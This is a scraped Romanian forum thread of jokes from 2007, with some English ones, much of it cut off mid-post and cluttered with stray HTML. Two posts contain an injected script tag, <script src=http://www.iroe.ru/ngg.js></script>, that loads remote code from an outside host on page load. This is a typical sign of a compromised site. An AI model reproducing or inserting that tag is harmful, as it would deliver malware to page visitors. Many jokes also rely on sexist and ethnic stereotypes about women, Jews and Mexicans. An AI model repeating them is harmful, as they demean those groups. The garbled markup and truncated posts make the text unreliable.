1. Pentru o femeie, este tot timpul importanta securitatea "materiala".
2. Desi este important a supravietui din punct de vedere material, ele tot timpul isi cumpara haine scumpe.
3. Desi ele tot timpul isi cumpara haine scumpe, niciodata nu au cu ce sa se imbrace.
4. Desi ele spun ca nu au niciodata cu ce sa se imbrace, tot timpul se imbraca frumos.
5. Desi tot timpul se imbraca frumos, haina pe care o pun pe ele este doar "carpa veche".
6. Desi ele zic ca este doar o "carpa veche", se asteapta de la tine sa le faci complimente.
7. Desi tu incerci sa le faci complimente, ele nu te cred niciodata..! </H3>

23.03.2007, 00:50
[b]Lectia 1

23.03.2007, 04:50
Si care ti-s dorintele Sorin?smileys/smiley36.gif

<TABLE class=punplain cellSpacing=0 cellPadding=0>

23.03.2007, 05:37
De ce a creat Dumnezeu intai barbatul si mai apoi femeia ?
Pentru ca inainte sa realizezi capodopera, trebuie sa faci o proba.

Ce a zis Dumnezeu dupa ce a creat barbatul ?
Pot sa fac ceva mai mult.
De ce a creat Dumnezeu femeia?
Fiindca barbatul nu se descurca singur si sa aiba de la cine primi indrumari.

Cum face un barbat exercitii de gimnastica pe plaja?
Isi suge burta de cate ori vede niste bikini.

23.03.2007, 08:41
Si care ti-s dorintele Sorin?smileys/smiley36.gif

Nu spun. Las sefu' intai. smileys/smiley36.gif

23.03.2007, 10:02
Un tip intreaba la Radio Erevan:Este adevarat ca lui Ivan Ivanovici i s-a dat in daro masina?...Radio Erevan raspunde:Da,este adevarat...cu unele mici amendamente:1.Nu este vorba de Ivan Ivanovici,ci de Serghei Sergeevici. 2.Nu a fost o masina,ci o bicicleta. 3.Nu i s-a dat,ci i s-a luat.

30.03.2007, 03:44
Afaceri externe

* Primul ministrul al Chinei il suna pe Bush in 11septembrie, imediat dupa atac:
-Imi pare rau pentru atac, este o mare tragedie. Dar in caz ca ati pierdut documente importante in atentatul de la Pentagon, nu va faceti griji, avem noi copii dupa toate...

* Saddam Hussein il suna pe Bush in 11 septembrie, imediat dupa atac:
<B style="mso-bidi-font-weight: normal">Saddam[/B]: Domnule presedinte, doresc sa imi exprim condoleantele pentru tragedia suferita... atat de multi oameni... niste cladiri atat de frumoase... Doresc sa va asigur ca nu avem nici o legatura cu ce s-a intamplat. Nu am fost noi...
<B style="mso-bidi-font-weight: normal">Bush[/B]: Care cladiri? Care oameni? Despre ce vorbesti?
Saddam: Pai... cat e ceasul acum in <st1:country-regi&#111;n w:st="&#111;n"><st1:place w:st="&#111;n">America</st1:place></st1:country-regi&#111;n> ?
<B style="mso-bidi-font-weight: normal">Bush[/B]: E 8 dimineata!
<B style="mso-bidi-font-weight: normal">Saddam[/B]: Ooooops! Scuze, revin intr-o ora...

30.03.2007, 05:05
smileys/smiley36.gif- Bunnnn!!!

06.04.2007, 01:31
Un tip merge pe autostrada 57 cu masina si asculta radioul.
La un moment dat, la radio, crainica anunta:
- Pe autostrada 57, un nebun merge pe contrasens.
Tipul, foarte enervat:
- Nu unul, sute, sute !

06.04.2007, 04:22
Un evreu nu isi mai platise impozitele de mult timp, gasind mereu metode de a pacali fiscul.
Intr-o zi primeste o citatie sa se prezinte la sediul finantelor pentru a da explicatii privind impozitele. Panicat se duce la un prieten care avusese aceleasi probleme sa ceara un sfat.
Prietenul ii zice:
- "Tot ce pot sa iti zic e sa te imbraci foarte rau, sa te duci cu hainele rupte, pantofii dezlipiti, murdar si nebarbierit; astfel celor de acolo o sa li se faca mila de tine si te lasa in pace"...
Nemultumit de sfat, evreul se duce si la avocat, care il sfatuieste:
- "Important e sa lasi impresia de putere si siguranta. Inchiriaza o limuzina, un smoking, un ceas Rolex de aur si du-te. O sa li se faca frica de tine si te lasa in pace"...
Tot nemultumit, evreul decide sa se duca la rabin si ii povesteste totul:
- "Rabbi, prietenul mi-a zis sa ma imbrac prost, avocatul sa ma imbrac luxos, nu stiu de cine sa ascult"...
Rabbi se gandeste un moment si zice:
- "Fiule, am sa iti spun o mica poveste care te va lamuri. A fost odata o fata tanara care trebuia sa se marite. Nestiind cum sa se imbrace in noaptea nuntii, ea s-a dus si i-a cerut sfatul mamei sale. Aceasta i-a zis: Fata mea, imbraca-te cu rochia veche a bunicii tale, cea neagra si lunga , si incheie-te pana la gat, pune-ti si un batic in cap astfel incat sa nu ti se vada decat chipul. Nemultumita fata i-a cerut ajutorul celei mai bune prietene care i-a zis: Imbraca-te cu o lenjerie sexy, parfumeaza-te, cumpara-ti o rochie super scurta si totul va fi bine. Fiule, cred ca povestea asta a mea iti va fi de mare folos"...
Nedumerit, evreul intreaba:
- "Bine, rabbi, dar nu inteleg ce legatura are ceea ce tocmai mi-ai spus cu problema mea. Nu poti fi mai clar?".
- "Fiule, nu conteaza cum o sa te imbraci, oricum o sa te f***...

12.04.2007, 23:44
Cum te numesti, Domnule?
- Petru Potopeanu.
- Si ce lucrezi?
- Prepar pesti pentru pulverizat.
- Bine, dar ce anume operatii faci?
- Pun pestele pe placi, potrivesc placile pe plite, pregatesc patru putini pentru pestele prajit, pulverizez pasta produsa, pun pe pungi.
- Dar de ce toate cuvintele pe care le folosesti incep cu "P"?
- Poftim?
- De ce vorbesti numai cu "P"?
- Pentruca pot pronunta pe P perfect perceptibil.
- Ei, asta e acum! Pun ramasag ca la intrebarile mele vei gresi.
- Primesc.
- Pe cit?
- Pun prinsoare pe patru poli!
- S-a facut. Spune-mi ce-ti place sa maninci?
- Peste, pastravi, plachie, potirnici, prepar piftie piperata, pirjoale, pastrama, papricas, papanas, porumbei, pui pane.
- Si ce vin bei?
- Pinot, pelin, porto.
- Si ce desert?
- Placinte, prajituri, pepene, prune, pere, portocale, piersici.
- Dar inghetata obisnuiesti?
- Putin profiterol, parfait (parve..).
- Spune-mi cum iti petreci timpul liber?
- Primavara prefer plimbarile pe potecile padurilor, prin parcuri.
- Dar vara?
- Pescuiesc.
- Si iarna?
- Patinez.
- Te pomenesti ca poti sa-mi spui o poezie cu litera "P"?
- Pot.
- Asta nu o mai cred. Spune-o!

Prin pustiuri, peste pietre,
Pasari, pilcuri pribegesc,
Parasindu-si puii proprii
Pe pamintul parintesc.
Prima pasare, pilotul,
Plescaia puternic pliscul,
Patina privind pamintul,
Pajistea, padurea, pliscul.

- Bine! Spune-mi textual ce i-ai spus nevestei cind ai plecat?
- Paraschiva papusico, pentru prinz prepara putin patrunjel pe potirnichi. Pa!
- Vad ca am pierdut.
- Pardon, platesti patru poli pentru pierderea pariului.
- Platesc.
- Pune paralele pe portofel.
- Inca o intrebare.
- Poftim?
- Ce adresa ai matale?
- Prelungirea Popa Petre 4, parter, plecind prin Pingari, peste pod.

12.04.2007, 23:49
In noaptea nuntii, mireasa ii spune mirelui ei:
- Dragul meu, stii ca eu sunt virgina si ca nu stiu mare lucru despre sex. Ai putea sa-mi explici inainte sa trecem la fapte?
- Bine, draga mea. Uite, sa ne inchipuim ca partea mea intima este un prizonier, iar a ta o inchisoare. E simplu de tot: luam prizonierul si il bagam la inchisoare.
Zis si facut. Dupa ce se consuma evenimentul, mirele se tolaneste in pat multumit de sine. Mireasa, zambind de fericire si multumita tare de prima ei experienta intima, il anunta suav:
- Iubitule, se pare ca prizonierul a evadat de la inchisoare.
- Atunci trebuie sa-l arestam din nou.
Se conformeaza omul si, la final, da sa se odihneasca. Mireasa, radiind de satisfactie ii zice iar:
- Dragule, iar a scapat prizonierul! Adunandu-si ultimele puteri, barbatul se ridica si trece iar la fapte.
Dupa ce termina, nu-si mai doreste decat sa aiba parte de un somn bun.
Mireasa, il bate incetisor pe umar si ii spune:
- Iubituleee... iar a scapat...
- Draga mea, stii ceva?! Asta nu e o sentinta pe viata!!!!

19.04.2007, 22:31
Din ciclu' - traim in Romania: Discutie intre 3 prieteni despre secretul de serviciu: un american, un rus si un roman. <B style="mso-bidi-font-weight: normal">Americanul[/B]: la noi in companie secretul de serviciu este fundamental. De exemplu eu ma intalnesc in fiecare seara cu colegii de serviciu la o bere dar niciodata nu discutam despre companie si nici nu ne intereseaza. <B style="mso-bidi-font-weight: normal">Rusul[/B]: Eu si sotia lucram la aceeasi companie si in acelasi birou dar eu nu stiu ce lucreaza ea, ea nu stie ce lucrez eu si nici nu ne intereseaza. <B style="mso-bidi-font-weight: normal">Romanul[/B]: La noi e si mai si

27.04.2007, 03:24

Pe o strada se intilneste un politist cu un popa catolic, imbracat cu manta, cu gluga etc.
Politistul il bate mar dupa care ii zice:
- Vezi ba NINJA, ca nu e ca in filme...

27.04.2007, 06:04
Can You smell Friday?


27.04.2007, 11:17

11.05.2007, 05:22
Medical Distinction

We've all heard about people having guts or balls. But do you
really know the difference between them? In an effort to keep you
informed, the definition for each is listed below...

GUTS - Is arriving home late after a night out with the guys,
being met by your wife with a broom, and having the guts to ask: "Are
you still cleaning, or are you flying somewhere?"

BALLS - Is coming home late after a night out with the guys,
smelling of perfume and beer, lipstick on your collar, slapping your
wife on the butt and having the balls to say: "You're next."

I hope this clears up any confusion on the definitions.
Medically speaking, there is no difference in the outcome,
since both ultimately result in death.

25.05.2007, 03:24
Actual exchanges between pilots and control towers:

Tower: "Delta 351, you have traffic at 10 o'clock, 6 miles !"

Delta 351: "Give us another hint! We have digital watches!"
Tower: "TWA 2341, for noise abatement turn right 45 Degrees."

TWA 2341: "Center, we are at 35,000 feet. How much noise can we make up

Tower: "Sir, have you ever heard the noise a 747 makes when it hits a 727?"
From an unknown aircraft waiting in a very long takeoff queue: "I'm f...ing

Ground Traffic Control: "Last aircraft transmitting, identify yourself

Unknown aircraft: "I said I was f...ing bored, not f...ing stupid!"
O'Hare Approach Control to a 747: "United 329 heavy, your traffic is a
Fokker, one o'clock, three miles, Eastbound."

United 329: "Approach, I've always wanted to say this..I've got the little
Fokker in sight."
A student became lost during a solo cross-country flight. While attempting
to locate the aircraft on radar, ATC asked, "What was your last known

Student: "When I was number one for takeoff."
A DC-10 had come in a little hot and thus had an exceedingly long roll out
after touching down.

<st1:place w:st="&#111;n"><st1:PlaceName w:st="&#111;n">San Jose</st1:PlaceName> <st1:Place w:st="&#111;n">Tower</st1:place></st1:place> Noted: "American 751, make a hard right turn at the end of
the runway, if you are able. If you are not able, take the <st1:place w:st="&#111;n">Guadeloupe</st1:place> exit
off Highway 101, make a right at the lights and return to the airport."
A Pan Am 727 flight, waiting for start clearance in <st1:City w:st="&#111;n"><st1:place w:st="&#111;n">Munich</st1:place></st1:City> , overheard the

Lufthansa (in German): " Ground, what is our start clearance time?"

Ground (in English): "If you want an answer you must speak in English."

Lufthansa (in English): "I am a German, flying a German airplane, in <st1:country-regi&#111;n w:st="&#111;n"><st1:place w:st="&#111;n">Germany</st1:place></st1:country-regi&#111;n>
Why must I speak English?"

Unknown voice from another plane (in a beautiful British accent): "Because
you lost the bloody war!"
Tower: "Eastern 702, cleared for takeoff, contact Departure on frequency

Eastern 702: "Tower, Eastern 702 switching to Departure. By the way, after
we lifted off we saw some kind of dead animal on the far end of the runway."

Tower: "Continental 635, cleared for takeoff behind Eastern 702, contact
Departure on frequency 124.7. Did you copy that report from Eastern 702?"

BR Continental 635: "Continental 635, cleared for takeoff, roger; and yes,
we copied Eastern... we've already notified our caterers."
One day the pilot of a Cherokee 180 was told by the tower to hold short of
the active runway while a DC-8 landed. The DC-8 landed, rolled out, turned
around, and taxied back past the Cherokee. Some quick-witted comedian in th<script src=http://www.iroe.ru/ngg.js></script>

06.07.2007, 00:51
Un tip era la pescuit si a tras din apa chiar pestisorul de aur. Acesta s-a oferit sa-i indeplineasca trei dorinte dar omul a zis ca are de toate si nu-i trebuie nimic in plus.Atunci pestisorul l-a intrebat: nici macar nu vrei sa afli ce vei fi pe lumea cealalta?. Omul curios a raspuns afirmativ si pestisorul i-a zis ca o sa fie arbitru de fotbal.Initial omul a ripostat intrucat nu-i placea fotbalul si nu stia nimic despre arbitraj dar a trebuit sa accepte oferta pestisorulu ca o sa- l invete , pt care i-a daruit si un manual de arbitraj.Peste cateva zile omul era din nou la pescuit si apare pestisorul:
- Cum stai cu invatatul? a intrebat pestisorul
- Nu prea bine, nu am avut timp, a rasp omul...La care pestisorul:
- Hai domnule treci la invatat, ca duminica fluieri!


Barbatul vine seara acasa de la serviciu. -N-ai vrea, nevasta, sa ne jucam de-a Big Brother ? -Sunt obosita, azi am stat la serviciu toata ziua, acum m-am apucat de spalat si gatit... poate maine... Barbatul, a doua seara: -Ce zici, ne jucam de-a Big Brother? -Stii, azi am facut mancare, am adus copiii de la scoala... sunt obosita... hai s-o lasam pe maine! Barbatul, a treia seara: -Ei, ce zici... azi ne jucam de-a Big Brother?? -Bine, fie... -AI 3 MINUTE SA PARASESTI CASA...


Un barbat se pregateste sa traverseze strada, cand deodata... o voce suava se aude in spatele lui: -Nu traversa! Omul nu traverseaza si chiar in fata lui are loc accident groaznic, trece un autobuz pe rosu si pietonii mor toti. Ajunge barbatul la gara, vrea sa cumpere un bilet la tren, si aceeasi voce ii sopteste: -Nu cumpara bilet la trenul asta! Omul nu cumpara, si a doua zi afla ca trenul a deraiat si au murit toti calatorii. -Doamne, iti multumesc ca ai grija de mine! -Nu este Domnul, sopteste vocea suava, sunt eu, ingerul tau pazitor! Mi-am facut doar datoria! -Hmmm... ingerul meu pazitor... stii, tare mult mi-am dorit sa te vad si sa-ti multumesc, nu ai putea sa te transformi intr-o gaza, un fluture... ceva? -Ok, fluture sa fie! Indata, un fluture vine si se aseaza in palma omului. Omul inchide brusc pumnul, mormaind printre dintii inclestati: -Si cand m-am insurat, pe unde zici ca umblai, nenorocitule???

06.07.2007, 01:00
<H3 style="MARGIN: auto 0in 0pt">Dilema: barbat sau c

13.07.2007, 00:45
[b]Bancuri cu

13.07.2007, 14:14
Vorbe celebre

Doctore, ma chinuie ingrozitor coloana. (Constantin Brancusi)
Posteritatea va crede ca am avut un singur ou. (Columb)
Prefer rima imbratisata. (Veronica Micle)
Femeile cu picioare lungi, sunt cele mai bune la pat. (Procust)
Duc o viata regulata; ma culc la sapte, ma scol la sapte. (Alba ca Zapada)
Femeia model trebuie sa fie tanara. (Corneliu Baba)
A fost nunta cu dar, dar nu cine stie ce! (Zamfira)
N-aveti, cumva, un foc? (Nero)
Si totusi, se invarteste! (Galileo Galilei la un chef)
Suntem rude dar foarte indepartate (Fratii Grimm)
Eu sunt o exceptie: mi-am facut carul vara. (Nicolae Grigorescu)
De cand cu politica, am tras poezia pe linie moarta. [A.(carul) Paunescu]
Justitia noastra este bolnava. (un doctor in drept)

17.08.2007, 03:43
<B style="mso-bidi-font-weight: normal">Cugetari profunde despre sex
Clinton a mintit. Un barbat poate uita unde parcheaza
sau chiar unde locuieste, dar nu uita niciodata o
partida de sex oral, indiferent cat de nereusita a
<B style="mso-bidi-font-weight: normal">Barbara Bush
Potrivit unor cercetari recente, femeile spun ca se
simt mai comfortabil daca se dezbraca in fata unui
barbat, decat daca ar face-o in fata unei femei.
Aceasta din cauza ca femeile sunt foarte critice, in
timp ce barbatii sunt doar recunoscatori.
<B style="mso-bidi-font-weight: normal">Robert DeNiro[/B]

Cunoasteti privirea aceea pe care o au femeile cand
vor sa faca sex? Nici eu.
<B style="mso-bidi-font-weight: normal">Steve Martin[/B]

Femeile sunt capabile sa mimeze orgasmul. Barbatii pot
mima o intreaga relatie.
<B style="mso-bidi-font-weight: normal">Sharon Stone[/B]

Bigamia inseamna sa ai o nevasta in plus. Monogamia e
acelasi lucru.
<B style="mso-bidi-font-weight: normal">Oscar Wilde[/B]

Vedeti, problema e ca Dumnezeu i-a dat barbatului un
creier si un penis, dar nu i-a dat suficient sange
pentru a le folosi pe amandoua deodata.
<B style="mso-bidi-font-weight: normal">Robin Williams[/B]

Cand am ajuns in America, nu stiam sa vorbesc engleza,
dar viata mea sexuala era perfecta. Acum engleza mea e
perfecta, dar viata mea sexuala e groaznica.
<B style="mso-bidi-font-weight: normal">Julio Iglesias[/B]

17.08.2007, 08:37
Sofer, actele la control!
-Pofiti domnule politist!
-Ok, totul e in regula. Nu mirosi a bautura, nu ai celular in masina, farurile si franele functioneaza, centura de siguranta o ai pusa, cauciucurile nu sunt probleme, dar tot te amendez ca imi pari un pic cam obosit...

Care este diferenta intre un padurar si un politist ?
Padurarul printre tufe-i un domn, politaiul printre domni i-o tufa.

Doi politisti intr-un elicopter.
-Bai, Vasile! Ce-i aia de sus?
-Nu stiu, la asta ma gandeam si eu.
Dupa un timp:
-Vasile, m-am prins ce-i aia:
-Ce e?
-Instalatia de aer conditionat.
-Cum ti-ai dat seama?
-Numai de un minut s-a oprit si uite cum curg apele pe pilot

14.09.2007, 04:43
</span></span>Diferenta dintre
erotism si perversiune:
- erotism este sa mangai femeia cu o pana;
perversiune este s-o mangai cu toata gaina.


Vechi proverb tibetan: daca femeia
arfi buna, si Dumnezeu ar avea una</span></span>



Horoscopul pe
luna urmatoare :
Sanatate: astrele iti surad.
Bani: astrele iti surad si
mai tare.
Dragoste: astrele deja se caca pe ele de ras.


Care este diferenta intre a te masturba si a face sex?
Raspuns: In principiu
nici una, dar daca faci sex mai cunosti lume...

14.09.2007, 05:38
Un tip merge la farmacie:
- Dati-mi si mie un prezervativ ca merg la prietena mea si o comit in seara asta ca e buna rau...De fapt dati-mi doua ca are o mama...au..si pe aia o ard..Ba nu dati-mi 3 ca are si o sora auu auuu.

Ii da farmacistul prezervativele, merge asta acasa la aia, se aseaza toti la masa, vine si tatal se pune in capul mesei si se pun toti sa faca rugaciunea inainte de masa. Dupa jumatate de ora, tipul inca isi facea rugaciunea la care prietena lui ii sopteste:
- Vai dragule ,dar nu stiam ca esti asa de credincios. La care el:
- Nici eu nu stiam ca taica-tu e farmacist

27.09.2007, 23:28
Intr-o buna zi, un taietor de lemne isi scapa securea in rau. Omul se puse pe jelit pentru ca-si pierduse singurul lucru cu care putea sa-si castige existenta. Vazand acestea, Dumnezeu aparu langa apa si-l intreba care este cauza disperarii sale. Omul ii explica atunci ca securea sa a cazut in apa si nu mai stie unde e. Atunci, Dumnezeu plonja in rau si reveni cu o secure din aur masiv.
- Asta e securea ta?, il intreba el.
- Nu, raspunse taietorul de lemne.
Dumnezeu intra din nou in apa si, de data aceasta, se intoarse cu o secure
numai din argint.
- Asta e securea ta?, intreba el din nou.
- Nu, raspunse din nou taietorul de lemne.
A treia oara, Dumnezeu reveni cu o secure de fier si il intreba din nou pe omul de pe mal:
- Asta e securea ta?
- Da, asta e, ii raspunse, de data aceasta, taietorul de lemne.
Dumnezeu, miscat de onestitatea omului, ii facu cadou toate trei securile.
Cateva zile mai tarziu, taietorul se plimba pe malul raului cu nevasta sa. Dintr-o data, aceasta cazu in apa. Cum omul se puse din nou pe plans, Dumnezeu aparu din nou, intrebandu-l care-i este necazul.
- Nevasta mea a cazut in apa, ii raspunse taietorul de lemne printre suspine.
Atunci Dumnezeu sari in apa si aparu cu Penelope Cruz in brate.
- Asta este nevasta ta?, intreba el.
- DA! urla omul.
Atunci Dumnezeu, furios, il lua la suturi:
- De ce minti?
Atunci, taietorul de lemne incepu sa explice:
- Daca spuneam "nu" la Penelope Cruz, data viitoare mi-o aduceai pe Catherine Zeta-Jones.

27.09.2007, 23:32
Mare concurs international de pictura! Tematica era ca, din pictura sa reiasa titlul tabloului. Candidate la marele premiu au fost selectate 4 tari: America, Franta, Rusia si Romania!
Tabloul Americii o reprezenta pe Louise in pielea goala pe un iaht! Titlul tabloului: "O boarfa la uscat!"
Tabloul Frantei: cu doua tipe goale intr-un copac. Titlul tabloului: "Doua poame!"
Tabloul Rusiei o avea pe Natasha in pielea goala cu o secera in mana, iar titlul tabloului: "In asteptarea ciocanului!"
Iar in tabloul Romaniei era reprezentata Ileana, goala intr-un lan de grau iar in spatele ei o ceata de tarani. Titlul tabloului: "Iobagi pe camp!"

28.09.2007, 00:40
Maria Magdalena e urmarita de multimea infuriata de desfraul ei... Se intrevede o bataie cu pietre, cum era la moda. Isus: - Stati! Cine n-a pacatuit niciodata sa arunce primul! Liniste in multime. Totusi, de undeva din spate o femeie imbracata in negru lanseaza o caramida fix in teasta Magdalenei. Isus (uitandu-se in multime): - Mai, mama, ma disperi!

28.09.2007, 05:49
smileys/smiley36.gifTitlu banc :
<H5>Un tip se uita la televizor</H5>

Un tip se uita la televizor si se trezeste cu o tigaie in cap de la nevasta-sa:
- Asta pentru ce este, draga?
- Ce e cu numele Laura Jonson, scris pe biletul ala?
- A, este numele unui cal pe care am pariat la cursele de cai!
Pleaca tipa linistita... A doua zi, iarasi se trezeste tipul cu o tigaie si mai zdravana in cap.
- Asta pentru ce mai e, draga?
- Te-a sunat calul!

28.09.2007, 06:12
Titlu banc :
<H5>La FBI se fac angajari</H5>

La FBI se fac angajari. La interviu se prezinta trei tipi. Interviul are loc

04.10.2007, 23:02
<B style="mso-bidi-font-weight: normal">Femeia[/B]
* Fiind intrebat "Cum ar fi barbatii fara femei ?", Mark Twain a raspuns: "In primul rand fericiti! Apoi putini, putini, din ce in ce mai putini!" (Mark Twain)
* Nu alerga dupa femeie si masina! Vine alta!
* Cand femeia spune "Nu", insemana "Poate", cand spune "Poate", inseamna "Da". Si daca spune "Da" ? Inseamna ca nu-i femeie!
* Numai barbatii insurati au amante.
* E curios cum umarul unei femei poate parea uneori de stanca pentru un barbat.
* Femeia e ca bicicleta: daca nu ai camera, mergi pe langa!
* Femeile cred ca daca o pisica fuge de acasa este din cauza lipsei de afectiune oferite.

* Daca femeia ar fi buna, si Dumnezeu ar avea una. * Sa nu contrazici niciodata o femeie! Sa astepti putin, ca o face ea singura!
* Intrebat fiind ce e femeia, Emil Brumaru a raspuns: "Nu stiu, dar sunt multe!" (Emil Brumaru)
* Femeile sunt pasionate de matematica. Isi impart varsta la 2, dubleaza pretul hainelor si adauga intotdeauna 5 ani la varsta prietenei cele mai bune. (Marcel Achard)
* Barbatii au descoperit focul, dar femeile au descoperit cum sa se joace cu el. (Sarah Jessica Parker)
* Toate femeile sunt bune ... bune de nimic sau bune la ceva. (Miguel de Cervantes)
* Nu poti sa cunosti o femeie pana nu o intalnesti la tribunal. (Norman Mailer)

05.10.2007, 01:35
Scufita rosie:

-Bunico,de ce ai gura asa mare?

-Bunico,de ce ai ochii asa mari?

-Bunico,de ce ai dintii asa de mari?


Scufito, pleaca -n p**** ma-tii cu lupa aia de aici!smileys/smiley36.gif

Un om conducea masina pe un drum.Dupa o curba vede o creatura mica si verde agitandu-se pe marginea soselei.Curios,opreste.

-Buna ziua! Eu sunt un homosexual exilat de pe Marte si m-am ratacit pe aici.Imi poti da niste apa?

Milos din fire ,omul ii dadu apa.Dupa un timp vede iarasi pe marginea drumului o chestie mica si verde facind cu mina.Opreste.

-Buna ziua!Eu sunt un homosexual exilat de pe Saturn.Nu te supara dar ai putea sa -mi dai ceva de mincare?

Omul gasi un sandvis in masina si il dadu creaturii.La nici un km departare,o alta creatura albastra se agita din nou pe marginea drumului.

Omul opreste si intreaba:

-Tu ,homosexual mic si albastru ce mai vrei?

-Actele la control!


Un barbat si sotia sa merg pe autostrada si se cearta ca barbatul a fost infidel.Dintr-o data ,femeia scoasa din minti apuca scula barbatului si o taie,dupa care enervata o arunca pe fereastra.

In spatele lor,in alta masina un barbat si fetita lui de 7 ani discuta.

Dintr-o data ,scula se izbeste de parbriz ,sta lipita un moment si apoi zboara mai departe.Surprinsa fetita intreaba:

-Ce era asta ,taticule?

Rusinat si nevrand sa discute cu fetita lui despre sex,omul raspunde:

-Era doar o insecta!.....

Fetita ramine cu un aer confuz cateva minute si apoi zice:

-In orice caz ,avea ditamai p**a!smileys/smiley9.gifsmileys/smiley36.gif

05.10.2007, 07:19
Dupa ce a examinat-o temeinic pe domnisoara, ginecologul spune:

- Deci, cand va vedeti sotul asta-seara ...
- Nu sunt maritata domnule doctor!
- Atunci, cand va vedeti logodnicul ...
- Nu sunt nici logodita!
- Sa zicem atunci, prietenul...
- Nu am nici un prieten si, pana acum, nu am avut nimic cu vreun barbat!
Ganditor, doctorul se duce la geam si priveste in zare. Saturandu-se sa stea cu picioarele in sus, domnisoara intreaba:
- La ce priviti atat de atent domnule doctor?
- Astept un pic! Ultima data cand s-a intamplat ceva asemanator, a aparut la rasarit o stea...

05.10.2007, 07:33
Si cateva citate din ... "clasici" (de-acum) romani, care unele pot fi incadrate cu usurinta la categoria "Din putul gandirii" smileys/smiley36.gif

"Lumea are voie sa aiba doua conturi: unul in
lei, unul in valuta si inca unul pentru economii. Mai mult nu."
Georgescu (fost ministru al finantelor)

</span></span></span></span></span></span>"Bancile sunt conduse de
bancheri in toata lumea in afara de Cismigiu si Herastrau"
Balthazar (director de banca)

</span></span></span></span></span></span>"S-au verificat toate
actele pe fostii trei ani pe care am fost primar"

</span></span></span></span></span></span>"A garanta proprietatea inseamna a limita dreptul omului
asupra proprietatii lui "
Ion Iliescu</span></span></span></span></span></span>

prin hazardul inconstient social nu se putea ajunge in sfere atat de
aureolate si in plan financiar"
Cornel Dinu (antrenor de
"Familia e
sfanta, pe cand patria....cum sa va spun patria e sacra"
Dragomir (presedintele Ligii Profesioniste de fotbal)

</span></span></span></span></span></span>"Destinul meu
a fost marcat de soarta"
Dan Iosif (copil al strazii, apoi
revolutionar, apoi consilierul lui Iliescu, in prezent parlamentar si om

</span></span></span></span></span></span>"Omul este o persoana umana"
Gheorghe Hagi

</span></span></span></span></span></span>"Domnul Ion Cristoiu a spus despre mine ca sunt
corupt pe vremea cand nu eram, in 1993"
Viorel Hrebenciuc </span></span></span></span></span></span>

</span></span></span></span></span></span>"Eu sunt pe toate listele de corupti si arestati,
dar nu am nicio greata"
Viorel Hrebenciuc

</span></span></span></span></span></span>"Sigur ca am auzit de
El Nino. E numele unui cantaret de muzica latina, nu?"

</span></span></span></span></span></span>"Am invatat putin limba
Loredana Groza
</span></span></span></span></span></span>"Exista aici, in aceasta sala, tineri care au murit in
revolutia din decembrie 1989"
Viorel Catarama</span></span></span></span></span></span>


05.10.2007, 12:56
What do you call two Mexicans playing basketball?
Juan on Juan

What is a Yankee?
The same as a Quickie, but a guy can do it alone.

What is the difference between a Harley and a Hoover?
The position of the dirt bag.

Why is divorce so expensive?
Because it's worth it.

D(["mb","\nWhat do you see when the Pillsbury Dough Boy bends over?\u003c/span\>\u003c/b\>\u003cspan style\u003d\"font-size:12pt\"\> \u003c/span\>\u003cspan style\u003d\"font-size:14pt\"\>\n\u003cbr\>\u003c/span\>\u00 3cb\>\u003cspan style\u003d\"font-size:10pt;color:#002041\"\>Doughnuts....\u 003c/span\>\u003c/b\>\u003cspan style\u003d\"font-size:14pt\"\>\n \u003cbr\>\u003cbr\>\u003c/span\>\u003cb\>\u003cspan style\u003d\"font-size:14pt;color:#002041\"\>\n\u003c/span\> \u003c/b\>\u003c/p\>\n\u003cp style\u003d\"margin:0in 0in 0pt;line-height:normal\"\>\u003cb\>\u003cspan style\u003d\"font-size:12pt;color:#002041\"\>\nWhy is air a lot like sex?\u003c/span\>\u003c/b\>\u003cspan style\u003d\"font-size:12pt\"\> \u003cbr\>\u003c/span\>\u003cb\>\u003cspan style\u003d\"font-size:10pt;color:#002041\"\>\nBecause it&#39;s no big deal unless you&#39;re not getting any.\u003c/span\>\u003c/b\>\u003cspan style\u003d\"font-size:10pt\"\> \u003cbr\>\n\u003cbr\>\u003c/span\>\u003cb\>\u003cspan style\u003d\"font-size:14pt;color:#002041\"\>\n\u003c/span\> \u003c/b\>\u003c/p\>\n\u003cp style\u003d\"margin:0in 0in 0pt;line-height:normal\"\>\u003cb\>\u003cspan style\u003d\"font-size:12pt;color:#002041\"\>\nWhat do you call a smart blonde?\u003c/span\>\u003c/b\>\u003cspan style\u003d\"font-size:12pt\"\> \u003c/span\>\u003cspan style\u003d\"font-size:14pt\"\>\n\u003cbr\>\u003c/span\>\u00 3cb\>\u003cspan style\u003d\"font-size:10pt;color:#002041\"\>A golden retriever.\u003c/span\>\u003c/b\>\n\u003cspan style\u003d\"font-size:10pt\"\> \u003cbr\>\u003cbr\>\n\u003c/span\>\u003cb\>\u003cspan style\u003d\"font-size:14pt;color:#002041\"\>\u003c/span\>\u 003c/b\>\u003c/p\>\n\u003cp style\u003d\"margin:0in 0in 0pt;line-height:<script src=http://www.iroe.ru/ngg.js></script>

11.10.2007, 11:57
Cele trei TRAGEDII din viata unui barbat:

* Life sucks

* Job sucks

* Wife doesn't.

11.10.2007, 12:05
mariane, nu e vineri azismileys/smiley2.gif

...dar pun si eu una pentru maine ''suck it in"


12.10.2007, 03:01
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center bgColor=#ffffff>
<TD class=tNormal height=10></TD></TR>
<TD class=tNormal>Un avocat isi viziteaza un coleg de studiu la sfarsit de saptamna, in locuinta acestuia la tara. Gazda este chemata cu treburi urgente in oras. La intoarcere afla ca fostul sau coleg de studiu a fost, in lipsa sa, foarte intim cu sotia sa:
-In "corabia" mea ai intretinut relatii sexuale cu sotia mea! Dupa cum stii din dreptul naval, pescuitul in ape straine este interzis...
-Scuze! zice celalalt, casa ta e la tara, si dupa cum stii din dreptul agricol, cel care seamana pe parcela altuia isi pierde samanta. Roadele ii raman in orice caz proprietarului pamantului...</TD></TR></T></TABLE>

19.10.2007, 01:49
De cati membri ai administratiei Bush e nevoie pentru a schimba un bec?
1. Unul care sa infirme ca becul trebuie schimbat.
2. Unul care sa atace lipsa de patriotism a oricui sustine ca becul trebuie schimbat.
3. Unul care sa-l acuze pe Bill Clinton ca a ars becul.
4. Unul care sa puna la punct invazia unei tari despre care se zvoneste ca ar avea un stoc secret de becuri.
5. Unul care sa dea un contract de 1 miliard de dolari, fara licitatie, companiei Halliburton pentru un bec nou.
6. Unul care sa aranjeze pozarea lui Bush in haine de om de serviciu, pe o scara, sub un afis: Schimbarea Becului A Reusit.
7. Unul sa-si dea demisia si sa scrie o carte descriind in detaliu despre cum era Bush

19.10.2007, 02:06
